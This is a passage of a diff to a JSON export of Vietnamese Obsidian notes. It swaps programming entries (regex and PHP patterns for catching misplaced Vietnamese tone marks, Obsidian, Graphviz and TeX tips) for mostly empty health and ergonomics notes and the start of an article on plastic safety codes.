học](https://vi.wikipedia.org/wiki/Ng%E1%BB%AF_%C3%A2m_h%E1%BB%8Dc \"Ngữ âm học\") muốn đối chiếu chữ và âm. VD `hoà`\n\nNguồn:: [[Wikipedia]], [Quy tắc đặt dấu thanh trong chữ quốc ngữ – Wikipedia tiếng Việt](https://vi.wikipedia.org/wiki/Quy_t%E1%BA%AFc_%C4%91%E1%BA%B7t_d%E1%BA%A5u_thanh_trong_ch%E1%BB%AF_qu%E1%BB%91c_ng%E1%BB%AF)\n\nQuy tắc cũ chỉ khác với quy tắc mới ở những từ không có phụ âm cuối. Nếu có phụ âm cuối thì giống như nhau\n\n# Snippet đổi tất cả kiểu cũ sang kiểu mới\n```js\nconst kiểuCũ = ['òa', 'óa', 'ỏa', 'õa', 'ọa', 'òe', 'óe', 'ỏe', 'õe', 'ọe', 'ùy', 'úy', 'ủy', 'ũy', 'ụy']\nconst kiểuMới = ['oà', 'oá', 'oả', 'oã', 'oạ', 'oè', 'oé', 'oẻ', 'oẽ', 'oẹ', 'uỳ', 'uý', 'uỷ', 'uỹ', 'uỵ']\nfor (const k in kiểuCũ) {\n\tif (câuNhập.includes(kiểuCũ[k])) {\n\t\tcâuNhập = câuNhập.replaceAll(kiểuCũ[k], kiểuMới[k])\n\t}\n}\n```\n\n---\n\n# Câu lệnh Regex để bắt lỗi đặt dấu thanh trong tiếng Việt\n\nTrong bài viết này tôi sử dụng quy tắc đặt dấu thanh kiểu cũ, chúng ta tạm đặt ra bên ngoài các tranh cãi về mặt ngôn ngữ học. Lý do chủ yếu tôi chọn cách này, vì nó phổ biến hơn, đây cũng là quy tắc mặc định trong trình hỗ trợ gõ tiếng Việt phổ biến là Unikey.\n\nQuy tắc là thế này:\n\n- Nếu trong từ có dấu, và nó có một nguyên âm, thì dấu phải đặt ở nguyên âm đó, ví dụ như mẹ, lẹ, có, càng;\n- Nếu nó chỉ có 2 nguyên âm mà ở liền sau không có chữ cái nào nữa thì dấu đặt ở nguyên âm đầu, ví dụ như bùa, cào, táo, bùi, túi, tòa, mãi;\n- Nếu nó có 2 nguyên âm mà liền sau có thêm một nguyên âm hoặc phụ âm thì dấu đặt ở nguyên âm giữa (trường hợp 3 nguyên âm), hoặc nguyên âm thứ hai (trường hợp 2 nguyên âm + phụ âm cuối), ví dụ: toàn, choáng (2 nguyên âm + phụ âm), hoặc oái, oải (3 nguyên âm liền nhau);\n- Nếu trong từ có dấu và có nguyên âm ê hoặc ơ thì bất kể nó ở đâu, dấu phải thuộc về ê hoặc ơ. Ví dụ chuyện, quyển (dấu thanh không phải ở giữa mà ở cuối dù có 3 nguyên âm liền nhau), tuế, thuở (chỉ có 2 nguyên âm cuối nhưng dấu thanh không đặt trước mà đặt sau)\n- Với những từ bắt đầu với gi và qu như giá, quà, gió, quạ thì gi và qu được coi là mẫu tự riêng, và quy tắc dấu ở nguyên âm trước không áp dụng;\n\nOK, giờ chúng ta sẽ đi vào phần bắt lỗi các từ không tuân thủ quy tắc trên. Để đỡ phức tạp, code mẫu được tôi viết cho từ viết thường, viết HOA thì bạn chỉ cần bổ sung thêm là được, quan trọng là khi hiểu vấn đề thì việc thêm sẽ không khó khăn gì.\n\nBạn có thể muốn tham khảo 2 tài nguyên giúp ích cho quá trình này:\n\n- [Các chữ cái sẵn có trong bài viết để tiện sao chép](https://kiencang.net/mang-array-tien-dung-ho-ten/);\n- [Cú pháp cơ bản của Regex](https://kiencang.net/cu-phap-co-ban-regex/) (biểu thức chính quy);\n\nChúng ta bắt đầu với ngoại lệ của gi và qu trước:\n\n- Nếu bắt đầu bằng gi và qu, dấu không được đặt lên i và u trong gi và qu. Do vậy việc bắt từ đặt sai dấu sẽ thế này:\n\n```\n(^(g[íìỉĩị]|q[úùủũụứừửữự])[aăâeêoôơuưiy])[a-z]*\n```\n\nNó sẽ bắt lỗi các từ như thế này:\n\n```\ngía\ngíong\ngíêng\nqúa\nqúan\ngìau\ngìêng\n```\n\n- Tiếp đến là các từ có 2 nguyên âm ở cuối, dấu sẽ đặt ở nguyên âm đầu, chúng ta sẽ bắt lỗi các từ đặt ở nguyên âm sau:\n\n```\n([bcdfhjklmnprstvxzđ]*[aăâeoôơuưiy][áàảãạắằẳẵặấầẩẫậéèẻẽẹóòỏõọốồổỗộúùủũụứừửữựýỳỷỹỵíìỉĩị])$\n```\n\nLưu ý là đoạn sẽ không có `[bcdfhjklmnprstvxzđ]` g và q, vì nếu đặt vào nó sẽ mâu thuẫn với nguyên tắc gi và qu.\n\nDấu $ đặt cuối để chỉ thị sau nó không còn có từ nào nữa, vì chúng ta bắt lỗi này chỉ với từ có 2 nguyên âm.\n\nTrong nhóm `[áàảãạắằẳẵặấầẩẫậéèẻẽẹóòỏõọốồổỗộúùủũụứừửữựýỳỷỹỵíìỉĩị]` cũng không có ê và ơ, vì 2 từ này được phép có dấu dù vị trí của nó ở đâu.\n\nĐoạn mã trên sẽ bắt lỗi các từ như thế này:\n\n```\nhoạ\nhoà\nhaọ\nkeó\nmeọ\ncoí\n```\n\n- Giờ chúng ta xử lý việc từ có 3 nguyên âm liên tiếp hoặc 2 nguyên âm và có ít nhất một từ đằng sau đó. Nếu từ có 3 nguyên âm, lỗi sẽ xảy ra nếu dấu nằm ở nguyên âm đầu, hoặc nguyên âm cuối. Nếu từ có 2 nguyên âm và ít nhất một từ đứng cuối, bắt lỗi sẽ xảy ra nếu dấu nằm ở nguyên âm đầu.\n\nĐoạn mã Regex bắt lỗi dấu ở nguyên âm đầu trong trường hợp có 3 nguyên âm hoặc 2 nguyên âm + phụ âm cuối:\n\n```\n([a-zđ]*[áàảãạắằẳẵặấầẩẫậéèẻẽẹóòỏõọốồổỗộúùủũụứừửữựýỳỷỹỵíìỉĩị][aăâêeoôơuưiy][aăâeêoôơuưiybcdghklmnpqrstvx]+)\n```\n\nChúng ta cần bổ sung thêm trường hợp 3 nguyên âm và dấu nằm ở nguyên âm cuối:\n\n```\n[bcdfghjklmnpqrstvxzđ]*[aăâeêoôơuưiy][aăâeêoôơuưiy][áàảãạắằẳẵặấầẩẫậéèẻẽẹóòỏõọốồổỗộúùủũụứừửữựýỳỷỹỵíìỉĩị][a-z]*\n```\n\nKết quả nó sẽ bắt lỗi các từ như thế này:\n\n```\nhòang\nhùynh\ntòan\ntươí\ntoaì\ntóai\n```\n\n- Cuối cùng là bắt lỗi từ có dấu có ê hoặc ơ, mà dấu không nằm ở ê hoặc ơ\n\nMã Regex với ê:\n\n```\n[a-zăâôơưđ]*[áàảãạắằẳẵặấầẩẫậóòỏõọốồổỗộờớởỡợúùủũụứừửữựýỳỷỹỵíìỉĩị][a-z]*ê[a-zăâôơư]*\n```\n\nNó sẽ bắt lỗi các từ như thế này:\n\n```\nchụyên\nchuỵên\nlúyên\nluỵên\ntúê\ntụê\n```\n\nTương tự là mã Regex với ơ:\n\n```\n[a-zăâôêưđ]*[áàảãạắằẳẵặấầẩẫậếềểễệóòỏõọốồổỗộúùủũụứừửữựýỳỷỹỵíìỉĩị][a-z]*ơ[a-zăâôơư]*\n```\n\nCuối cùng là đoạn mã tổng hợp với một chút chỉnh sửa thêm để bắt lỗi các trường hợp đặt sai dấu thanh:\n\n```\n(((g[íìỉĩị]|q[úùủũụứừửữự])[aăâeêoôơuưiy])[a-z]*)|([bcdfhjklmnprstvxzđ]*[aăâeoôơuưiy][áàảãạắằẳẵặấầẩẫậéèẻẽẹóòỏõọốồổỗộúùủũụứừửữựýỳỷỹỵíìỉĩị])$|([a-zđ]*[áàảãạắằẳẵặấầẩẫậéèẻẽẹóòỏõọốồổỗộúùủũụứừửữựýỳỷỹỵíìỉĩị][aăâêeoôơuưiy][aăâeêoôơuưiybcdfghklmnpqrstvx]+)|([bcdfghjklmnpqrstvxzđ]*[aăâêeoôơuưiy][aăâêeoôơuưiy][áàảãạắằẳẵặấầẩẫậéèẻẽẹóòỏõọốồổỗộúùủũụứừửữựýỳỷỹỵíìỉĩị][bcdfghjklmnpqrstvxz]*)|([a-zăâôơưđ]*[áàảãạắằẳẵặấầẩẫậóòỏõọốồổỗộờớởỡợúùủũụứừửữựýỳỷỹỵíìỉĩị][a-z]*ê[a-zăâôơư]*)|([a-zăâôêưđ]*[áàảãạắằẳẵặấầẩẫậếềểễệóòỏõọốồổỗộúùủũụứừửữựýỳỷỹỵíìỉĩị][a-z]*ơ[a-zăâôơư]*)\n```\n\nBạn có thể [ghé thăm đường link này tôi viết sẵn](https://regex101.com/r/0Fe2Es/1/) để tiện tham khảo.\n\n## Tích hợp vào PHP\n\nBình thường thì nếu kiểm tra Regex bắt chính xác đưa vào PHP là sẽ chạy. Nhưng với câu lệnh trên cho vào sẽ ra kết quả không như ý. Mã PHP điều chỉnh phải như bên dưới mới bắt được.\n\nVì viết một mẫu khớp (pattern) sẽ rất dài nên tôi tách ra để bạn tiện theo dõi, và chỉnh sửa nếu cần. Có vẻ mã vẫn chưa tối ưu và cần kiểm tra thêm, dù sao tạm thời có còn hơn không vậy:\n\n```\n// bắt lỗi gío, qúa, qúy-----------------\n\n$r='/^(gí|gì|gỉ|gĩ|gị]|qú|qù|qủ|qũ|qụ|qứ|qừ|qử|qữ|qự)(a|ă|â|e|ê|o|ô|ơ|u|ư|i|y)([a-z]*)/'; \n\n//---------------------------------------\n\n\n\n// bắt lỗi toà, keó, hoạ-----------------------------\n\n$r2='/[bcdfhjklmnprstvxzđ]*[^gq](a|ă|â|e|o|ô|ơ|u|ư|i|y)(á|à|ả|ã|ạ|ắ|ằ|ẳ|ẵ|ặ|ấ|ầ|ẩ|ẫ|ậ|é|è|ẻ|ẽ|ẹ|ó|ò|ỏ|õ|ọ|ố|ồ|ổ|ỗ|ộ|ú|ù|ủ|ũ|ụ|ứ|ừ|ử|ữ|ự|ý|ỳ|ỷ|ỹ|ỵ|í|ì|ỉ|ĩ|ị)$/'; \n\n//---------------------------------------------------\n\n\n\n// bắt lỗi tòan, cừơi, hòang-------------\n\n$r3='/[bcdfhjklmnprstvxzđ]*[^aăâeoôơuưiy](á|à|ả|ã|ạ|ắ|ằ|ẳ|ẵ|ặ|ấ|ầ|ẩ|ẫ|ậ|é|è|ẻ|ẽ|ẹ|ó|ò|ỏ|õ|ọ|ố|ồ|ổ|ỗ|ộ|ú|ù|ủ|ũ|ụ|ứ|ừ|ử|ữ|ự|ý|ỳ|ỷ|ỹ|ỵ|í|ì|ỉ|ĩ|ị)(a|ă|â|ê|e|o|ô|ơ|u|ư|i|y)(a|ă|â|e|o|ô|ơ|u|ư|i|y|b|c|d|f|g|h|k|l|m|n|p|q|r|s|t|v|x)+/'; \n\n//---------------------------------------\n\n\n\n// bắt lỗi cươí, tươí, cuôí---------------------------\n\n$r4='/[bcdfghjklmnpqrstvxzđ]*(a|ă|â|ê|e|o|ô|ơ|u|ư|i|y)(a|ă|â|ê|e|o|ô|ơ|u|ư|i|y)(á|à|ả|ã|ạ|ắ|ằ|ẳ|ẵ|ặ|ấ|ầ|ẩ|ẫ|ậ|é|è|ẻ|ẽ|ẹ|ó|ò|ỏ|õ|ọ|ố|ồ|ổ|ỗ|ộ|ú|ù|ủ|ũ|ụ|ứ|ừ|ử|ữ|ự|ý|ỳ|ỷ|ỹ|ỵ|í|ì|ỉ|ĩ|ị)[bcdfghjklmnpqrstvxz]*/';\n\n//----------------------------------------------------\n\n\n\n// bắt lỗi ê không có dấu trong từ có dấu\n\n$r5='/ê[a-z]*(á|à|ả|ã|ạ|ắ|ằ|ẳ|ẵ|ặ|ấ|ầ|ẩ|ẫ|ậ|é|è|ẻ|ẽ|ẹ|ó|ò|ỏ|õ|ọ|ố|ồ|ổ|ỗ|ộ|ú|ù|ủ|ũ|ụ|ứ|ừ|ử|ữ|ự|ý|ỳ|ỷ|ỹ|ỵ|í|ì|ỉ|ĩ|ị)/';\n\n\n$r6='/(á|à|ả|ã|ạ|ắ|ằ|ẳ|ẵ|ặ|ấ|ầ|ẩ|ẫ|ậ|é|è|ẻ|ẽ|ẹ|ó|ò|ỏ|õ|ọ|ố|ồ|ổ|ỗ|ộ|ú|ù|ủ|ũ|ụ|ứ|ừ|ử|ữ|ự|ý|ỳ|ỷ|ỹ|ỵ|í|ì|ỉ|ĩ|ị)[a-z]*ê/';\n\n//---------------------------------------\n\n\n\n// bắt lỗi ơ không có dấu trong từ có dấu\n\n$r7='/(á|à|ả|ã|ạ|ắ|ằ|ẳ|ẵ|ặ|ấ|ầ|ẩ|ẫ|ậ|é|è|ẻ|ẽ|ẹ|ó|ò|ỏ|õ|ọ|ố|ồ|ổ|ỗ|ộ|ú|ù|ủ|ũ|ụ|ứ|ừ|ử|ữ|ự|ý|ỳ|ỷ|ỹ|ỵ|í|ì|ỉ|ĩ|ị)[a-z]*ơ/';\n\n$r8='/ơ[a-z]*(á|à|ả|ã|ạ|ắ|ằ|ẳ|ẵ|ặ|ấ|ầ|ẩ|ẫ|ậ|é|è|ẻ|ẽ|ẹ|ó|ò|ỏ|õ|ọ|ố|ồ|ổ|ỗ|ộ|ú|ù|ủ|ũ|ụ|ứ|ừ|ử|ữ|ự|ý|ỳ|ỷ|ỹ|ỵ|í|ì|ỉ|ĩ|ị)/';\n```\nNguồn:: [Câu lệnh Regex để bắt lỗi đặt dấu thanh trong tiếng Việt • Kiến càng](https://kiencang.net/cau-lenh-regex-dau-thanh-viet/)\n", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-08-25T07:20:00.000Z", - "Ngày cập nhật": "2024-08-31T08:06:00.000Z", - "id": "c7" + "id": "fv" }, { - "Tiêu đề": "Chỉnh link distance nhỏ nhất và link force lớn nhất để thấy rõ từng cụm nút", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Quản lý ghi chú (Obsidian)/Chỉnh link distance nhỏ nhất và link force lớn nhất để thấy rõ từng cụm nút", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Đau ngực do trào ngược dạ dày", + "URL": "https://kỹnăng.quảcầu.cc/⚡Hiểu biết sâu/Sức khoẻ/Bệnh văn phòng/Đau ngực do trào ngược dạ dày", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: ", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-11-28T04:12:00.000Z", - "Ngày cập nhật": "2024-09-02T07:14:00.000Z", - "id": "c8" + "id": "fw" }, { - "Tiêu đề": "Nên dùng H1 hoặc YAML title làm tiêu đề hơn là filename", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Quản lý ghi chú (Obsidian)/Nên dùng H1 hoặc YAML title làm tiêu đề hơn là filename", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Chăm sóc người bệnh", + "URL": "https://kỹnăng.quảcầu.cc/⚡Hiểu biết sâu/Sức khoẻ/Chăm sóc người bệnh", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [Use H1 or YAML property \"title\" instead of or in addition to filename as display name - Feature requests - Obsidian Forum](https://forum.obsidian.md/t/use-h1-or-yaml-property-title-instead-of-or-in-addition-to-filename-as-display-name/687/117)\n\nDùng plugin [Front Matter Title](https://github.com/snezhig/obsidian-front-matter-title)", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-09-01T14:13:00.000Z", - "id": "c9" + "id": "fx" }, { - "Tiêu đề": "this liệt kê tất cả những dữ liệu mà Dataview đọc được", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Quản lý ghi chú (Obsidian)/this liệt kê tất cả những dữ liệu mà Dataview đọc được", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Bàn phím", + "URL": "https://kỹnăng.quảcầu.cc/⚡Hiểu biết sâu/Sức khoẻ/Công thái học/Bàn phím", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Với Dataviewjs thì nó tương đương với `dv.current()`\n\nĐây là `this`:\n`$=dv.span(dv.current())`\n\nTrong lập trình, [[Vật thể được tạo nên bởi những thuộc tính]]. `this` là tên của vật thể quan trọng nhất trong Dataview.", + "Toàn bộ nội dung": "\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-01T10:42:00.000Z", - "id": "cA" + "id": "fy" }, { - "Tiêu đề": "Ưu tiên dùng API của Obsidian hơn là của Node", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Quản lý ghi chú (Obsidian)/Ưu tiên dùng API của Obsidian hơn là của Node", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Các chấn thương ở tay thường gặp", + "URL": "https://kỹnăng.quảcầu.cc/⚡Hiểu biết sâu/Sức khoẻ/Công thái học/Các chấn thương ở tay thường gặp", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Lý do:: Node không dùng được trên điện thoại\n[[Code giống như các nốt nhạc, engine giống như nhạc công, còn runtime giống như nhạc cụ]]", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-09-01T10:42:00.000Z", - "id": "cB" + "id": "fz" }, { - "Tiêu đề": "Cài PangoCairo trước khi dùng unicode trong Graphviz", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Sắp chữ, thiết kế/Graphviz/Cài PangoCairo trước khi dùng unicode trong Graphviz", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Ghế ngồi", + "URL": "https://kỹnăng.quảcầu.cc/⚡Hiểu biết sâu/Sức khoẻ/Công thái học/Ghế ngồi", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "- Install expat library (`sudo apt install libexpat1-dev`)\n- Install PangoCairo library (`sudo apt install libpango1.0-dev`)\n- Compile and install Graphviz from [source](https://graphviz.org/download/source):\n\t```bash\n\t./configure --with-pangocairo\n\tmake\n\tsudo make install\n\t```\n\nNguồn:: [[Stack Overflow]], [Why do texts with non-ASCII characters have right padding?](https://stackoverflow.com/a/76630218/3416774)\n", + "Toàn bộ nội dung": "Bàn cao 75 cm\r\nĐộ rộng vai \r\n\r\n- **Chiều cao đệm:** \r\n- **Tựa lưng:**\r\n- **Độ rộng tựa:** \r\n- **Đồ kê tay:** có thể\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-25T13:39:00.000Z", - "id": "cC" - }, - { - "Tiêu đề": "Macro dùng để viết tắt", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Sắp chữ, thiết kế/TeX/Engine/Macro dùng để viết tắt", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "id": "f-" + }, + { + "Tiêu đề": "Ghế sofa có hại cho cột sống", + "URL": "https://kỹnăng.quảcầu.cc/⚡Hiểu biết sâu/Sức khoẻ/Công thái học/Ghế sofa có hại cho cột sống", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```TeX\n\\def\\say#1{Hello #1!}\n\\say{world}\n```\nKết quả: `Hello world!`", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-25T13:39:00.000Z", - "id": "cD" + "id": "f_" }, { - "Tiêu đề": "TeX chỉ tạo ra được DVI. pdfTeX, XeTeX, LuaTeX tạo ra được PDF", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Sắp chữ, thiết kế/TeX/Engine/TeX chỉ tạo ra được DVI. pdfTeX, XeTeX, LuaTeX tạo ra được PDF", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Gù lưng, đau lưng", + "URL": "https://kỹnăng.quảcầu.cc/⚡Hiểu biết sâu/Sức khoẻ/Công thái học/Gù lưng, đau lưng", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [What is the difference between TeX and LaTeX?](https://tex.stackexchange.com/a/220499/50146)", + "Toàn bộ nội dung": "![](https://youtu.be/0kU2tNCYTsg?si=HFfTSDHyAitklKyW) \n![](https://youtu.be/rZv7S_Rxibw?si=DSLt6p8Eg4cjJdU-) ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-25T13:39:00.000Z", - "id": "cE" + "id": "g0" }, { - "Tiêu đề": "LaTeX đối với TeX cũng giống như jQuery đối với JavaScript", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Sắp chữ, thiết kế/TeX/LaTeX đối với TeX cũng giống như jQuery đối với JavaScript", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Gù lưng", + "URL": "https://kỹnăng.quảcầu.cc/⚡Hiểu biết sâu/Sức khoẻ/Công thái học/Gù lưng", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [macros - Is LaTeX a programming framework of TeX? - TeX - LaTeX Stack Exchange](https://tex.stackexchange.com/questions/712009/is-latex-a-programming-framework-of-tex?noredirect=1#comment1769475_712009)", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-25T13:39:00.000Z", - "id": "cF" + "id": "g1" }, { - "Tiêu đề": "TeX dùng cho máy in. LaTeX dùng cho tác giả", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Sắp chữ, thiết kế/TeX/TeX dùng cho máy in. LaTeX dùng cho tác giả", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Việc ngột CO₂ xảy ra nhiều hơn chúng ta tưởng", + "URL": "https://kỹnăng.quảcầu.cc/⚡Hiểu biết sâu/Sức khoẻ/Công thái học/Việc ngột CO₂ xảy ra nhiều hơn chúng ta tưởng", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [When is TeX better than LaTeX? (duplicate)](https://tex.stackexchange.com/a/518802/50146)\n\n[[TeX là ngôn ngữ lập trình cho việc sắp chữ. LaTeX là các macro để việc định dạng được thân thiện hơn]]", + "Toàn bộ nội dung": "\r\n\r\n| Nồng độ (ppm) | Vị trí thường gặp | Mức độ giảm | Triệu chứng |\r\n| ------------- | ------------------------ | ----------- | ----------- |\r\n| 500 | | | |\r\n| 1000 | | 15% | |\r\n| 4000 | Ở trong giường và xe hơi | | |\r\n| 10000 | Nón bảo hiểm | | |\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-25T13:39:00.000Z", - "id": "cG" + "id": "g2" }, { - "Tiêu đề": "TeX là ngôn ngữ lập trình cho việc sắp chữ. LaTeX là các macro để việc định dạng được thân thiện hơn", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Sắp chữ, thiết kế/TeX/TeX là ngôn ngữ lập trình cho việc sắp chữ. LaTeX là các macro để việc định dạng được thân thiện hơn", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Ô nhiễm tiếng ồn", + "URL": "https://kỹnăng.quảcầu.cc/⚡Hiểu biết sâu/Sức khoẻ/Công thái học/Ô nhiễm tiếng ồn", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "In TeX, you learn the **basic things** and use that to do what you want.\n\n[![TeX](https://i.stack.imgur.com/IGvRS.png)](https://i.stack.imgur.com/IGvRS.png)\n\nIn LaTeX, you look for a specific package that already does what you want and use it.\n\n[![LaTeX](https://i.stack.imgur.com/IyGwT.png)](https://i.stack.imgur.com/IyGwT.png)\n\nThe implications are:\n\n- In TeX, you need to learn **all** the basic before being able to do most tasks. Thus the initial learning curve is steep.\n \n - But you also learn how to _program_, thus you have the power of the computer (e.g. doing repetitive task)\n \n LaTeX has e.g. `python` package, but it only has _loose_ integration with the TeX layer (e.g. it's not very easy to measure the width of a box, if you e.g. want to automatically determine column width).\n \n- However, once you've learnt _all_ the basics, you can do everything1, instead of looking up a new package you define your own command to do what you want.\n \n - For a comparison, TeX is a full programming language **(imagine Python)**, and LaTeX is like a DSL (domain-specific language) **(imagine the game engines that allow you to make games without coding)**.\n \n [Wikipedia link for DSL](https://en.wikipedia.org/wiki/Domain-specific_language#External_and_Embedded_Domain_Specific_Languages). (_for whatever reason, at the moment the Wikipedia page lists LaTeX as external domain-specific language, while it's obviously embedded in TeX..._)\n\nNguồn:: [What is the difference between TeX and LaTeX?](https://tex.stackexchange.com/a/638092/50146)\n[[TeX dùng cho máy in. LaTeX dùng cho tác giả]] ", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-25T13:39:00.000Z", - "id": "cH" + "id": "g3" }, { - "Tiêu đề": "TeX", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Sắp chữ, thiết kế/TeX/TeX", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Không nên dùng chai nước nhiều lần", + "URL": "https://kỹnăng.quảcầu.cc/⚡Hiểu biết sâu/Sức khoẻ/Dinh dưỡng/Không nên dùng chai nước nhiều lần", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```dataview\nLIST rows.file.link\nFROM \"🔠Văn bản, ký tự. Sắp chữ, thiết kế/Sắp chữ, thiết kế/TeX\"\nWHERE file.name!=this.file.name\nGROUP BY split(file.folder, \"/\")[3]\n```\n\n[Often referenced questions](https://tex.meta.stackexchange.com/q/2419/50146)", + "Toàn bộ nội dung": "Có bao giờ bạn quan sát ký hiệu các loại nhựa được in ở phía đáy sản phẩm nhựa chưa? Có bao giờ bạn thắc mắc loại nhựa này có an toàn cho sức khỏe không? Ở bài viết này, Thuận Thiên Plastic sẽ chia sẻ cụ thể về tất cả các loại nhựa phổ biến trên thị trường và các ký hiệu liên quan để dễ dàng nhận biết từ đây có cách sử dụng sao cho đúng. \n\n## Phân biệt ký hiệu các loại nhựa thông dụng \n\nNgười Việt Nam hay có thói quen tích trữ thực phẩm bằng hộp nhựa mà ít quan tâm hoặc không để ý các ký hiệu của sản phẩm nhựa. Chỉ cần một chút lưu tâm là bạn biết được hộp nhựa có độc hại không, có ảnh hưởng tới sức khỏe không. \n\nDưới đáy của sản phẩm nhựa thường có ký hiệu tam giác, và bên trong chứa một con số tương ứng. Ký hiệu này được gọi là mã nhận diện nhựa được Tổ chức Tiêu Chuẩn Quốc Tế ASTM ban hành, tương ứng với các con số từ 1 đến 7. Xét theo độ an toàn, nhựa được chia thành 2 loại nhựa an toàn và nhựa không an toàn. \n\n![7 loại nhựa](https://thuanthienplastic.com/wp-content/uploads/2022/04/tong-quan.jpg \"Phân biệt ký hiệu các loại nhựa - loại nhựa nào an toàn cho sức khỏe 1\")\n\n_Những loại nhựa tuân thủ tiêu chuẩn FDA – Hoa Kỳ_\n\n### Nhựa số 1 – Nhựa PET (PETE)\n\n[**Nhựa PET**](https://thuanthienplastic.com/nhua-pet-la-gi/) (Polyethylene terephthalate) (số 1 – hay còn được gọi với tên nhựa số 1) thường được dùng để đựng thực phẩm dạng lỏng như nước trái cây, nước ngọt, nước khoáng, các loại nước chấm… Loại nhựa này chỉ 